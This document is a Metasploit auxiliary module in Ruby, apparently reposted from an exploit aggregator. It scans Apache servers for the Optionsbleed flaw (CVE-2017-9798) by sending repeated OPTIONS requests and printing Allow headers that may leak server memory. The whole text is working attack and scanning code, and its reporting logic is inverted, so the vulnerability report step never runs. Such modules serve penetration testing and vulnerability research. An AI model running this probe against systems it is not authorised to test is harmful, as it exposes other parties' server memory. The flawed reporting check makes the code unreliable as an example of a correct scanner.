Share
## https://sploitus.com/exploit?id=PACKETSTORM:181038
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Optionsbleed Scanner',  
'Description' => %q{  
This module scans for the Apache optionsbleed vulnerability where the Allow  
response header returned from an OPTIONS request may bleed memory if the  
server has a .htaccess file with an invalid Limit method defined.  
},  
'Author' => [  
'Hanno Böck', # Vulnerability discovery  
'h00die', # Metasploit module  
],  
'References' => [  
[ 'CVE', '2017-9798' ],  
[ 'EDB', '42745' ],  
[ 'URL', 'https://github.com/hannob/optionsbleed' ],  
[ 'URL', 'https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html' ]  
],  
'DisclosureDate' => '2017-09-18',  
'License' => MSF_LICENSE,  
'Notes' =>  
{  
'AKA' => ['Optionsbleed']  
}  
))  
  
register_options([  
OptString.new('TARGETURI', [true, 'The URI to the folder with the vulnerable .htaccess file', '/']),  
OptInt.new('REPEAT', [true, 'Times to attempt', 40]),  
OptBool.new('BUGS', [true, 'Print if any other Allow header bugs are found', true])  
])  
end  
  
def get_allow_header(ip)  
res = send_request_raw({  
'version' => '1.1',  
'method' => 'OPTIONS',  
'uri' => datastore['TARGETURI']  
}, 10)  
  
fail_with(Failure::Unreachable, "#{peer} - Failed to respond") unless res  
fail_with(Failure::UnexpectedReply, "#{peer} - No Allow header identified") unless res.headers['Allow']  
res.headers['Allow']  
end  
  
def run_host(ip)  
# Apache bug 61207 regex  
bug_61207 = /^[a-zA-Z]+(-[a-zA-Z]+)? *(, *[a-zA-Z]+(-[a-zA-Z]+)? *)*$/  
# Launchpad bug 1717682 regex  
bug_1717682 = /^[a-zA-Z]+(-[a-zA-Z]+)? *( +[a-zA-Z]+(-[a-zA-Z]+)? *)+$/  
uniques = []  
already_reported = false  
  
for counter in 1..datastore['REPEAT']  
allows = get_allow_header(ip)  
next if uniques.include?(allows) # no need to re-process non-new items  
uniques << allows  
if allows =~ bug_61207  
if allows.split(',').length > allows.split(',').uniq.length # check for repeat items  
print_status('Some methods were sent multiple times in the list. ' +  
'This is a bug, but harmless. It may be Apache bug #61207.') if datastore['BUGS']  
else  
vprint_status("Request #{counter}: [Standard Response] -> #{allows}")  
end  
elsif allows =~ bug_1717682 && datastore['BUGS']  
print_status('The list of methods was space-separated instead of comma-separated. ' +  
'This is a bug, but harmless. It may be Launchpad bug #1717682.')  
else  
print_good("Request #{counter}: [OptionsBleed Response] -> #{allows}")  
end  
next unless already_reported  
report_vuln(  
:host => ip,  
:port => rport,  
:name => self.name,  
:refs => self.references  
)  
already_reported = true  
end  
end  
end